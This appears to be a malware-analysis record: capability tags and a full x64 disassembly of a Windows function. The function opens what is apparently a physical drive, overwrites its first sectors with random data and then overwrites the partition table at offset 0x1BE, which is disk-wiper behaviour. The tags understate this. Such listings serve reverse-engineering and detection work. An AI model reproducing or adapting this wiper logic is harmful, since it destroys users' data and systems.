Function at 0x140001250
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x1570]
mov eax, 0x1670
call fcn.140003b50
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x1560], rax
mov r8d, ecx
xor r15d, r15d
lea r9, [rbp + 0x134a]
test ecx, ecx
jns 0x1400012e0
neg r8d
nop
sub r9, 2
mov eax, 0xcccccccd
mul r8d
shr edx, 3
movzx eax, dx
shl ax, 2
lea ecx, [rax + rdx]
add cx, cx
sub r8w, cx
add r8w, 0x30
mov word [r9], r8w
mov r8d, edx
test edx, edx
jne 0x1400012a0
add r9, 0xfffffffffffffffe
mov word [r9], 0x2d
jmp 0x140001310
sub r9, 2
mov eax, 0xcccccccd
mul r8d
shr edx, 3
movzx eax, dx
shl ax, 2
lea ecx, [rax + rdx]
add cx, cx
sub r8w, cx
add r8w, 0x30
mov word [r9], r8w
mov r8d, edx
test edx, edx
jne 0x1400012e0
lea r8, [rbp + 0x134a]
mov rdx, r9
lea rcx, [rsp + 0x40]
call fcn.140002610
nop
lea r8, [rsp + 0x40]
lea rcx, [rsp + 0x68]
call fcn.1400023d0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 7
jbe 0x14000137a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001375
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001375
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002d94
movdqa xmm0, xmmword [0x140004520]
movdqu xmmword [rsp + 0x50], xmm0
mov word [rsp + 0x40], r15w
lea rcx, [rsp + 0x68]
cmp qword [rbp - 0x80], 7
cmova rcx, qword [rsp + 0x68]
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x10000000
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r14, rax
cmp rax, 0xffffffffffffffff
je 0x140001531
mov esi, r15d
mov edi, 1
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0x1314], 0xffffffff
mov dword [rbp - 0x6c], eax
mov rdx, rdi
nop dword [rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 - 0x6c], eax
inc rdx
cmp rdx, 0x270
jb 0x1400013f0
mov dword [rbp - 0x70], 0x270
mov rbx, r15
nop dword [rax]
lea rcx, [rbp - 0x70]
call fcn.140002b60
mov ecx, eax
shl rcx, 8
shr rcx, 0x20
mov byte [rbp + rbx + 0x1360], cl
inc rbx
cmp rbx, 0x200
jl 0x140001420
xor r9d, r9d
xor r8d, r8d
mov edx, esi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov qword [rsp + 0x20], r15
lea r9, [rsp + 0x60]
mov r8d, 0x200
lea rdx, [rbp + 0x1360]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteFile]
add esi, 0x200
cmp esi, 0x2800
jl 0x1400013d7
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0x1314], 0xffffffff
mov dword [rbp - 0x6c], eax
nop dword [rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edi
mov dword [rbp + rdi*4 - 0x6c], eax
inc rdi
cmp rdi, 0x270
jb 0x1400014a0
mov dword [rbp - 0x70], 0x270
mov rbx, r15
nop dword [rax]
lea rcx, [rbp - 0x70]
call fcn.140002b60
mov ecx, eax
shl rcx, 8
shr rcx, 0x20
mov byte [rbp + rbx + 0x1320], cl
inc rbx
cmp rbx, 0x40
jl 0x1400014d0
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1be
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov qword [rsp + 0x20], r15
lea r9, [rsp + 0x60]
mov r8d, 0x40
lea rdx, [rbp + 0x1320]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rbp - 0x80]
cmp rdx, 7
jbe 0x140001575
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001570
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001570
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002d94
mov rcx, qword [rbp + 0x1560]
xor rcx, rsp
call fcn.140002d30
lea r11, [rsp + 0x1670]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret